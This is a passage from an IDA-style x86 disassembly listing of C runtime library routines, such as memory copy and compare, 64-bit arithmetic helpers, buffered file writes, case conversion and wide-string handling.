		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D98C:				; CODE XREF: sub_41D670+1B7j
					; sub_41D670:loc_41D854j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_41D670	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D9A5	proc near		; CODE XREF: sub_40DA4F+34p
					; sub_40DA4F+4Fp ...

arg_0		= dword	ptr  4

		push	1
		push	[esp+4+arg_0]
		call	sub_41BEC7
		pop	ecx
		pop	ecx
		retn
sub_41D9A5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D9B3	proc near		; CODE XREF: sub_41DA20+4p

arg_0		= dword	ptr  4

		push	esi
		push	dword_4DD39C
		call	sub_422EA8
		mov	edx, dword_4DD39C
		pop	ecx
		mov	ecx, dword_4DD398
		mov	esi, ecx
		sub	esi, edx
		add	esi, 4
		cmp	eax, esi
		pop	esi
		jnb	short loc_41DA12
		push	edx
		call	sub_422EA8
		add	eax, 10h
		push	eax
		push	dword_4DD39C
		call	sub_41BBE2
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41D9F5
		retn
; ---------------------------------------------------------------------------


loc_41D9F5:				; CODE XREF: sub_41D9B3+3Fj
		mov	ecx, dword_4DD398
		sub	ecx, dword_4DD39C
		mov	dword_4DD39C, eax
		sar	ecx, 2
		lea	ecx, [eax+ecx*4]
		mov	dword_4DD398, ecx


loc_41DA12:				; CODE XREF: sub_41D9B3+23j
		mov	eax, [esp+arg_0]
		mov	[ecx], eax
		add	dword_4DD398, 4
		retn
sub_41D9B3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DA20	proc near		; CODE XREF: sub_40DB3C+1Ap

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41D9B3
		neg	eax
		sbb	eax, eax
		pop	ecx
		neg	eax
		dec	eax
		retn
sub_41DA20	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DA32	proc near		; DATA XREF: ___:00429018o
		push	80h
		call	sub_41BEB5
		test	eax, eax
		pop	ecx
		mov	dword_4DD39C, eax
		jnz	short loc_41DA53
		push	18h
		call	sub_41E2C9
		mov	eax, dword_4DD39C
		pop	ecx


loc_41DA53:				; CODE XREF: sub_41DA32+12j
		and	dword ptr [eax], 0
		mov	eax, dword_4DD39C
		mov	dword_4DD398, eax
		retn
sub_41DA32	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DA61	proc near		; CODE XREF: sub_40DB5E+7Ap
					; sub_40DB5E+8Ap ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	ecx, eax
		cmp	word ptr [eax],	0
		jz	short loc_41DA75


loc_41DA6D:				; CODE XREF: sub_41DA61+12j
		inc	ecx
		inc	ecx
		cmp	word ptr [ecx],	0
		jnz	short loc_41DA6D


loc_41DA75:				; CODE XREF: sub_41DA61+Aj
		mov	edx, [esp+arg_4]
		push	esi


loc_41DA7A:				; CODE XREF: sub_41DA61+26j
		mov	si, [edx]
		mov	[ecx], si
		inc	ecx
		inc	ecx
		inc	edx
		inc	edx
		test	si, si
		jnz	short loc_41DA7A
		pop	esi
		retn
sub_41DA61	endp

; ---------------------------------------------------------------------------
		push	esi
		mov	esi, [esp+8]
		push	edi
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_41DB07
		mov	edi, [esp+14h]
		test	edi, edi
		jz	short loc_41DAAA
		cmp	edi, 1
		jz	short loc_41DAAA
		cmp	edi, 2
		jnz	short loc_41DB07


loc_41DAAA:				; CODE XREF: ___:0041DA9Ej
					; ___:0041DAA3j
		and	al, 0EFh
		cmp	edi, 1
		mov	[esi+0Ch], eax
		jnz	short loc_41DAC1
		push	esi
		call	sub_422FA3
		add	[esp+14h], eax
		pop	ecx
		xor	edi, edi


loc_41DAC1:				; CODE XREF: ___:0041DAB2j
		push	esi
		call	sub_41E42B
		mov	eax, [esi+0Ch]
		pop	ecx
		test	al, 80h
		jz	short loc_41DAD6
		and	al, 0FCh
		mov	[esi+0Ch], eax
		jmp	short loc_41DAEA
; ---------------------------------------------------------------------------


loc_41DAD6:				; CODE XREF: ___:0041DACDj
		test	al, 1
		jz	short loc_41DAEA
		test	al, 8
		jz	short loc_41DAEA
		test	ah, 4
		jnz	short loc_41DAEA
		mov	dword ptr [esi+18h], 200h


loc_41DAEA:				; CODE XREF: ___:0041DAD4j
					; ___:0041DAD8j ...
		push	edi
		push	dword ptr [esp+14h]
		push	dword ptr [esi+10h]
		call	sub_422F09
		add	esp, 0Ch
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		dec	ecx
		mov	eax, ecx
		jmp	short loc_41DB14
; ---------------------------------------------------------------------------


loc_41DB07:				; CODE XREF: ___:0041DA96j
					; ___:0041DAA8j
		mov	dword_4DBDDC, 16h
		or	eax, 0FFFFFFFFh


loc_41DB14:				; CODE XREF: ___:0041DB05j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41DB20	proc near		; CODE XREF: sub_413694+19Ep
					; sub_4143F7+11Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_C]
		or	ecx, eax
		mov	ecx, [esp+arg_8]
		jnz	short loc_41DB39
		mov	eax, [esp+arg_0]
		mul	ecx
		retn	10h
; ---------------------------------------------------------------------------


loc_41DB39:				; CODE XREF: sub_41DB20+Ej
		push	ebx
		mul	ecx
		mov	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	[esp+4+arg_C]
		add	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	ecx
		add	edx, ebx
		pop	ebx
		retn	10h
sub_41DB20	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DB54	proc near		; CODE XREF: ___:0041668Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		test	edi, edi
		mov	[ebp+arg_0], eax
		mov	ebx, edi
		jnz	short loc_41DB78
		xor	eax, eax
		jmp	loc_41DC45
; ---------------------------------------------------------------------------


loc_41DB78:				; CODE XREF: sub_41DB54+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41DB8B
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_41DB92
; ---------------------------------------------------------------------------


loc_41DB8B:				; CODE XREF: sub_41DB54+2Dj
		mov	[ebp+arg_C], 1000h


loc_41DB92:				; CODE XREF: sub_41DB54+35j
					; sub_41DB54+E8j
		mov	ecx, [esi+0Ch]
		and	ecx, 108h
		jz	short loc_41DBC6
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_41DBC6
		cmp	ebx, eax
		mov	edi, ebx
		jb	short loc_41DBAC
		mov	edi, eax


loc_41DBAC:				; CODE XREF: sub_41DB54+54j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi]
		call	sub_41CD20
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		sub	ebx, edi
		add	[ebp+arg_0], edi
		jmp	short loc_41DC0C
; ---------------------------------------------------------------------------


loc_41DBC6:				; CODE XREF: sub_41DB54+47j
					; sub_41DB54+4Ej
		cmp	ebx, [ebp+arg_C]
		jb	short loc_41DC11
		test	ecx, ecx
		jz	short loc_41DBDA
		push	esi
		call	sub_41E42B
		test	eax, eax
		pop	ecx
		jnz	short loc_41DC53


loc_41DBDA:				; CODE XREF: sub_41DB54+79j
		cmp	[ebp+arg_C], 0
		jz	short loc_41DBED
		mov	eax, ebx
		xor	edx, edx
		div	[ebp+arg_C]
		mov	edi, ebx
		sub	edi, edx
		jmp	short loc_41DBEF
; ---------------------------------------------------------------------------


loc_41DBED:				; CODE XREF: sub_41DB54+8Aj
		mov	edi, ebx


loc_41DBEF:				; CODE XREF: sub_41DB54+97j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi+10h]
		call	sub_4230FB
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41DC4A
		add	[ebp+arg_0], eax
		sub	ebx, eax
		cmp	eax, edi
		jb	short loc_41DC4A


loc_41DC0C:				; CODE XREF: sub_41DB54+70j
		mov	edi, [ebp+var_4]
		jmp	short loc_41DC3A
; ---------------------------------------------------------------------------


loc_41DC11:				; CODE XREF: sub_41DB54+75j
		mov	eax, [ebp+arg_0]
		push	esi
		movsx	eax, byte ptr [eax]
		push	eax
		call	sub_41FE2A
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41DC53
		inc	[ebp+arg_0]
		mov	eax, [esi+18h]
		dec	ebx
		mov	[ebp+arg_C], eax
		test	eax, eax
		jg	short loc_41DC3A
		mov	[ebp+arg_C], 1


loc_41DC3A:				; CODE XREF: sub_41DB54+BBj
					; sub_41DB54+DDj
		test	ebx, ebx
		jnz	loc_41DB92
		mov	eax, [ebp+arg_8]


loc_41DC45:				; CODE XREF: sub_41DB54+1Fj
					; sub_41DB54+108j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41DC4A:				; CODE XREF: sub_41DB54+ADj
					; sub_41DB54+B6j
		or	dword ptr [esi+0Ch], 20h
		mov	eax, [ebp+var_4]
		jmp	short loc_41DC55
; ---------------------------------------------------------------------------


loc_41DC53:				; CODE XREF: sub_41DB54+84j
					; sub_41DB54+CFj
		mov	eax, edi


loc_41DC55:				; CODE XREF: sub_41DB54+FDj
		sub	eax, ebx
		xor	edx, edx
		div	[ebp+arg_4]
		jmp	short loc_41DC45
sub_41DB54	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DC5E	proc near		; CODE XREF: sub_416CAF+8p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	[esp+arg_0]
		call	near ptr 26B0B43h
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41DC7E
		call	near ptr 26B0669h
		nop
		push	eax
		call	sub_420C7F
		pop	ecx


loc_41DC7A:				; CODE XREF: sub_41DC5E+3Fj
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_41DC7E:				; CODE XREF: sub_41DC5E+Dj
		test	al, 1
		jz	short loc_41DC9F
		test	[esp+arg_4], 2
		jz	short loc_41DC9F
		mov	dword_4DBDDC, 0Dh
		mov	dword_4DBDE0, 5
		jmp	short loc_41DC7A
; ---------------------------------------------------------------------------


loc_41DC9F:				; CODE XREF: sub_41DC5E+22j
					; sub_41DC5E+29j
		xor	eax, eax
		retn
sub_41DC5E	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41DCB0	proc near		; CODE XREF: sub_416CC9+3Fp
					; sub_41AED9+24p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_41DCD2
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_41DD13
; ---------------------------------------------------------------------------


loc_41DCD2:				; CODE XREF: sub_41DCB0+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]


loc_41DCE0:				; CODE XREF: sub_41DCB0+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_41DCE0
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_41DD0E
		cmp	edx, [esp+8+arg_4]
		ja	short loc_41DD0E
		jb	short loc_41DD0F
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_41DD0F


loc_41DD0E:				; CODE XREF: sub_41DCB0+4Ej
					; sub_41DCB0+54j
		dec	esi


loc_41DD0F:				; CODE XREF: sub_41DCB0+56j
					; sub_41DCB0+5Cj
		xor	edx, edx
		mov	eax, esi


loc_41DD13:				; CODE XREF: sub_41DCB0+20j
		pop	esi
		pop	ebx
		retn	10h
sub_41DCB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41DD20	proc near		; CODE XREF: sub_416CC9+2Dp
					; sub_41AED9+3Dp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_41DD41
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_41DD91
; ---------------------------------------------------------------------------


loc_41DD41:				; CODE XREF: sub_41DD20+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]


loc_41DD4F:				; CODE XREF: sub_41DD20+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_41DD4F
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_C]
		xchg	eax, ecx
		mul	[esp+4+arg_8]
		add	edx, ecx
		jb	short loc_41DD7A
		cmp	edx, [esp+4+arg_4]
		ja	short loc_41DD7A
		jb	short loc_41DD82
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_41DD82


loc_41DD7A:				; CODE XREF: sub_41DD20+4Aj
					; sub_41DD20+50j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]


loc_41DD82:				; CODE XREF: sub_41DD20+52j
					; sub_41DD20+58j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0


loc_41DD91:				; CODE XREF: sub_41DD20+1Fj
		pop	ebx
		retn	10h
sub_41DD20	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41DDA0	proc near		; CODE XREF: sub_416DD9+5Fp
					; sub_416DD9+92p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	edi
		push	esi
		push	ebx
		xor	edi, edi
		mov	eax, [esp+0Ch+arg_4]
		or	eax, eax
		jge	short loc_41DDC1
		inc	edi
		mov	edx, [esp+0Ch+arg_0]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_4], eax
		mov	[esp+0Ch+arg_0], edx


loc_41DDC1:				; CODE XREF: sub_41DDA0+Bj
		mov	eax, [esp+0Ch+arg_C]
		or	eax, eax
		jge	short loc_41DDDD
		inc	edi
		mov	edx, [esp+0Ch+arg_8]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_C], eax
		mov	[esp+0Ch+arg_8], edx


loc_41DDDD:				; CODE XREF: sub_41DDA0+27j
		or	eax, eax
		jnz	short loc_41DDF9
		mov	ecx, [esp+0Ch+arg_8]
		mov	eax, [esp+0Ch+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+0Ch+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_41DE3A
; ---------------------------------------------------------------------------


loc_41DDF9:				; CODE XREF: sub_41DDA0+3Fj
		mov	ebx, eax
		mov	ecx, [esp+0Ch+arg_8]
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]


loc_41DE07:				; CODE XREF: sub_41DDA0+71j
		shr	ebx, 1
		rcr	ecx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ebx, ebx
		jnz	short loc_41DE07
		div	ecx
		mov	esi, eax
		mul	[esp+0Ch+arg_C]
		mov	ecx, eax
		mov	eax, [esp+0Ch+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_41DE35
		cmp	edx, [esp+0Ch+arg_4]
		ja	short loc_41DE35
		jb	short loc_41DE36
		cmp	eax, [esp+0Ch+arg_0]
		jbe	short loc_41DE36


loc_41DE35:				; CODE XREF: sub_41DDA0+85j
					; sub_41DDA0+8Bj
		dec	esi


loc_41DE36:				; CODE XREF: sub_41DDA0+8Dj
					; sub_41DDA0+93j
		xor	edx, edx
		mov	eax, esi


loc_41DE3A:				; CODE XREF: sub_41DDA0+57j
		dec	edi
		jnz	short loc_41DE44
		neg	edx
		neg	eax
		sbb	edx, 0


loc_41DE44:				; CODE XREF: sub_41DDA0+9Bj
		pop	ebx
		pop	esi
		pop	edi
		retn	10h
sub_41DDA0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DE4A	proc near		; CODE XREF: sub_417493+BFp
					; sub_417493+12Cp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, dword_4DBE84
		push	ebx
		xor	ebx, ebx
		cmp	eax, ebx
		mov	[ebp+var_4], ebx
		jnz	short loc_41DE7E
		mov	eax, [ebp+arg_0]
		mov	edx, eax
		cmp	[eax], bl
		jz	short loc_41DEE5


loc_41DE66:				; CODE XREF: sub_41DE4A+30j
		mov	cl, [edx]
		cmp	cl, 61h
		jl	short loc_41DE77
		cmp	cl, 7Ah
		jg	short loc_41DE77
		sub	cl, 20h
		mov	[edx], cl


loc_41DE77:				; CODE XREF: sub_41DE4A+21j
					; sub_41DE4A+26j
		inc	edx
		cmp	[edx], bl
		jnz	short loc_41DE66
		jmp	short loc_41DEE5
; ---------------------------------------------------------------------------


loc_41DE7E:				; CODE XREF: sub_41DE4A+11j
		push	esi
		push	edi
		push	1
		push	ebx
		push	ebx
		push	ebx
		push	0FFFFFFFFh
		mov	esi, 200h
		push	[ebp+arg_0]
		push	esi
		push	eax
		call	sub_4232A8
		mov	edi, eax
		add	esp, 20h
		cmp	edi, ebx
		jz	short loc_41DED7
		push	edi
		call	sub_41BEB5
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_41DED7
		push	1
		push	ebx
		push	edi
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	esi
		push	dword_4DBE84
		call	sub_4232A8
		add	esp, 20h
		test	eax, eax
		jz	short loc_41DED7
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_41C890
		pop	ecx
		pop	ecx


loc_41DED7:				; CODE XREF: sub_41DE4A+53j
					; sub_41DE4A+61j ...
		push	[ebp+var_4]
		call	sub_41BA91
		mov	eax, [ebp+arg_0]
		pop	ecx
		pop	edi
		pop	esi


loc_41DEE5:				; CODE XREF: sub_41DE4A+1Aj
					; sub_41DE4A+32j
		pop	ebx
		leave
		retn
sub_41DE4A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DEE8	proc near		; CODE XREF: sub_417E84+1A8p

arg_0		= dword	ptr  4

		cmp	dword_43D084, 1
		jle	short loc_41DEFF
		push	4
		push	[esp+4+arg_0]
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_41DEFF:				; CODE XREF: sub_41DEE8+7j
		mov	eax, [esp+arg_0]
		mov	ecx, off_43CE78
		mov	al, [ecx+eax*2]
		and	eax, 4
		retn
sub_41DEE8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DF10	proc near		; CODE XREF: sub_420DB0+76p
					; sub_420DB0+88p ...

arg_0		= dword	ptr  4

		cmp	dword_43D084, 1
		jle	short loc_41DF27
		push	8
		push	[esp+4+arg_0]
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_41DF27:				; CODE XREF: sub_41DF10+7j
		mov	eax, [esp+arg_0]
		mov	ecx, off_43CE78
		mov	al, [ecx+eax*2]
		and	eax, 8
		retn
sub_41DF10	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41DF40	proc near		; CODE XREF: sub_418295+1Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		test	eax, eax
		jz	short locret_41DF8C
		mov	edx, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, edx
		mov	edi, [esp+8+arg_4]
		or	edx, edi
		and	edx, 3
		jz	short loc_41DF8D
		test	eax, 1
		jz	short loc_41DF6D
		mov	cl, [esi]
		cmp	cl, [edi]
		jnz	short loc_41DFBA
		inc	esi
		inc	edi
		dec	eax
		jz	short loc_41DF8A


loc_41DF6D:				; CODE XREF: sub_41DF40+20j
					; sub_41DF40+48j
		mov	cl, [esi]
		mov	dl, [edi]
		cmp	cl, dl
		jnz	short loc_41DFBA
		mov	cl, [esi+1]
		mov	dl, [edi+1]
		cmp	cl, dl
		jnz	short loc_41DFBA
		add	edi, 2
		add	esi, 2
		sub	eax, 2
		jnz	short loc_41DF6D


loc_41DF8A:				; CODE XREF: sub_41DF40+2Bj
					; sub_41DF40+84j
		pop	edi
		pop	esi

locret_41DF8C:				; CODE XREF: sub_41DF40+6j
		retn
; ---------------------------------------------------------------------------


loc_41DF8D:				; CODE XREF: sub_41DF40+19j
		mov	ecx, eax
		and	eax, 3
		shr	ecx, 2
		jz	short loc_41DFC2
		repe cmpsd
		jz	short loc_41DFC2
		mov	ecx, [esi-4]
		mov	edx, [edi-4]
		cmp	cl, dl
		jnz	short loc_41DFB5
		cmp	ch, dh
		jnz	short loc_41DFB5
		shr	ecx, 10h
		shr	edx, 10h
		cmp	cl, dl
		jnz	short loc_41DFB5
		cmp	ch, dh


loc_41DFB5:				; CODE XREF: sub_41DF40+63j
					; sub_41DF40+67j ...
		mov	eax, 0


loc_41DFBA:				; CODE XREF: sub_41DF40+26j
					; sub_41DF40+33j ...
		sbb	eax, eax
		pop	edi
		sbb	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41DFC2:				; CODE XREF: sub_41DF40+55j
					; sub_41DF40+59j
		test	eax, eax
		jz	short loc_41DF8A
		mov	edx, [esi]
		mov	ecx, [edi]
		cmp	dl, cl
		jnz	short loc_41DFB5
		dec	eax
		jz	short loc_41DFE9
		cmp	dh, ch
		jnz	short loc_41DFB5
		dec	eax
		jz	short loc_41DFE9
		and	ecx, 0FF0000h
		and	edx, 0FF0000h
		cmp	edx, ecx
		jnz	short loc_41DFB5
		dec	eax


loc_41DFE9:				; CODE XREF: sub_41DF40+8Fj
					; sub_41DF40+96j
		pop	edi
		pop	esi
		retn
sub_41DF40	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DFEC	proc near		; CODE XREF: sub_4185B5+6p
					; sub_4185D3+4Ap ...

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4DBE84, 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_41E019
		mov	eax, [ebp+arg_0]
		cmp	eax, 41h
		jl	loc_41E0B2
		cmp	eax, 5Ah
		jg	loc_41E0B2
		add	eax, 20h
		jmp	loc_41E0B2
; ---------------------------------------------------------------------------


loc_41E019:				; CODE XREF: sub_41DFEC+Ej
		mov	ebx, [ebp+arg_0]
		mov	edi, 100h
		push	1
		cmp	ebx, edi
		pop	esi
		jge	short loc_41E04D
		cmp	dword_43D084, esi
		jle	short loc_41E03B
		push	esi
		push	ebx
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_41E045
; ---------------------------------------------------------------------------


loc_41E03B:				; CODE XREF: sub_41DFEC+42j
		mov	eax, off_43CE78
		mov	al, [eax+ebx*2]
		and	eax, esi


loc_41E045:				; CODE XREF: sub_41DFEC+4Dj
		test	eax, eax
		jnz	short loc_41E04D


loc_41E049:				; CODE XREF: sub_41DFEC+ADj
		mov	eax, ebx
		jmp	short loc_41E0B2
; ---------------------------------------------------------------------------


loc_41E04D:				; CODE XREF: sub_41DFEC+3Aj
					; sub_41DFEC+5Bj
		mov	edx, off_43CE78
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_41E071
		and	byte ptr [ebp+arg_0+2],	0
		push	2
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		pop	eax
		jmp	short loc_41E07A
; ---------------------------------------------------------------------------


loc_41E071:				; CODE XREF: sub_41DFEC+74j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		mov	eax, esi


loc_41E07A:				; CODE XREF: sub_41DFEC+83j
		push	esi
		push	0
		lea	ecx, [ebp+var_4]
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	edi
		push	dword_4DBE84
		call	sub_4232A8
		add	esp, 20h
		test	eax, eax
		jz	short loc_41E049
		cmp	eax, esi
		jnz	short loc_41E0A5
		movzx	eax, [ebp+var_4]
		jmp	short loc_41E0B2
; ---------------------------------------------------------------------------


loc_41E0A5:				; CODE XREF: sub_41DFEC+B1j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_41E0B2:				; CODE XREF: sub_41DFEC+16j
					; sub_41DFEC+1Fj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41DFEC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E0B7	proc near		; CODE XREF: sub_418AF1+ADp
					; sub_419AE0+55p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		cmp	word ptr [ecx],	0
		lea	eax, [ecx+2]
		jz	short loc_41E0CE


loc_41E0C4:				; CODE XREF: sub_41E0B7+15j
		mov	dx, [eax]
		inc	eax
		inc	eax
		test	dx, dx
		jnz	short loc_41E0C4


loc_41E0CE:				; CODE XREF: sub_41E0B7+Bj
		sub	eax, ecx
		sar	eax, 1
		dec	eax
		retn
sub_41E0B7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E0D4	proc near		; CODE XREF: sub_418AF1+7Fp
					; sub_418AF1+90p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		push	ebx
		push	esi
		xor	esi, esi
		xor	eax, eax
		cmp	edx, esi
		push	edi
		jz	loc_41E1A1
		mov	edi, [ebp+arg_8]
		cmp	edi, esi
		jz	loc_41E1CE
		cmp	dword_4DBE84, esi
		jnz	short loc_41E125
		cmp	edi, esi
		jbe	loc_41E1CE


loc_41E104:				; CODE XREF: sub_41E0D4+4Aj
		mov	ecx, [ebp+arg_4]
		add	ecx, eax
		movzx	si, byte ptr [ecx]
		mov	[edx], si
		cmp	byte ptr [ecx],	0
		jz	loc_41E1CE
		inc	eax
		inc	edx
		inc	edx
		cmp	eax, edi
		jb	short loc_41E104
		jmp	loc_41E1CE
; ---------------------------------------------------------------------------


loc_41E125:				; CODE XREF: sub_41E0D4+26j
		mov	ebx, [ebp+arg_4]
		mov	esi, dword_4270E8
		push	edi
		push	edx
		push	0FFFFFFFFh
		push	ebx
		push	9
		push	dword_4DBE94
		call	esi
		test	eax, eax
		jnz	loc_41E1CD
		call	near ptr 26B0669h
		nop
		cmp	eax, 7Ah
		jz	short loc_41E15F


loc_41E150:				; CODE XREF: sub_41E0D4+CBj
					; sub_41E0D4+F7j
		mov	dword_4DBDDC, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_41E1CE
; ---------------------------------------------------------------------------


loc_41E15F:				; CODE XREF: sub_41E0D4+7Aj
		lea	ecx, [edi-1]
		mov	eax, ebx
		mov	[ebp+arg_4], ecx


loc_41E167:				; CODE XREF: sub_41E0D4+B3j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_41E189
		mov	edx, off_43CE78
		movzx	ecx, cl
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_41E17E
		inc	eax


loc_41E17E:				; CODE XREF: sub_41E0D4+A7j
		mov	ecx, [ebp+arg_4]
		inc	eax
		dec	[ebp+arg_4]
		test	ecx, ecx
		jnz	short loc_41E167


loc_41E189:				; CODE XREF: sub_41E0D4+97j
		push	edi
		sub	eax, ebx
		push	[ebp+arg_0]
		push	eax
		push	ebx
		push	1
		push	dword_4DBE94
		call	esi
		test	eax, eax
		jnz	short loc_41E1CE
		jmp	short loc_41E150
; ---------------------------------------------------------------------------


loc_41E1A1:				; CODE XREF: sub_41E0D4+Fj
		cmp	dword_4DBE84, esi
		jnz	short loc_41E1B4
		push	[ebp+arg_4]
		call	sub_41B9C0
		pop	ecx
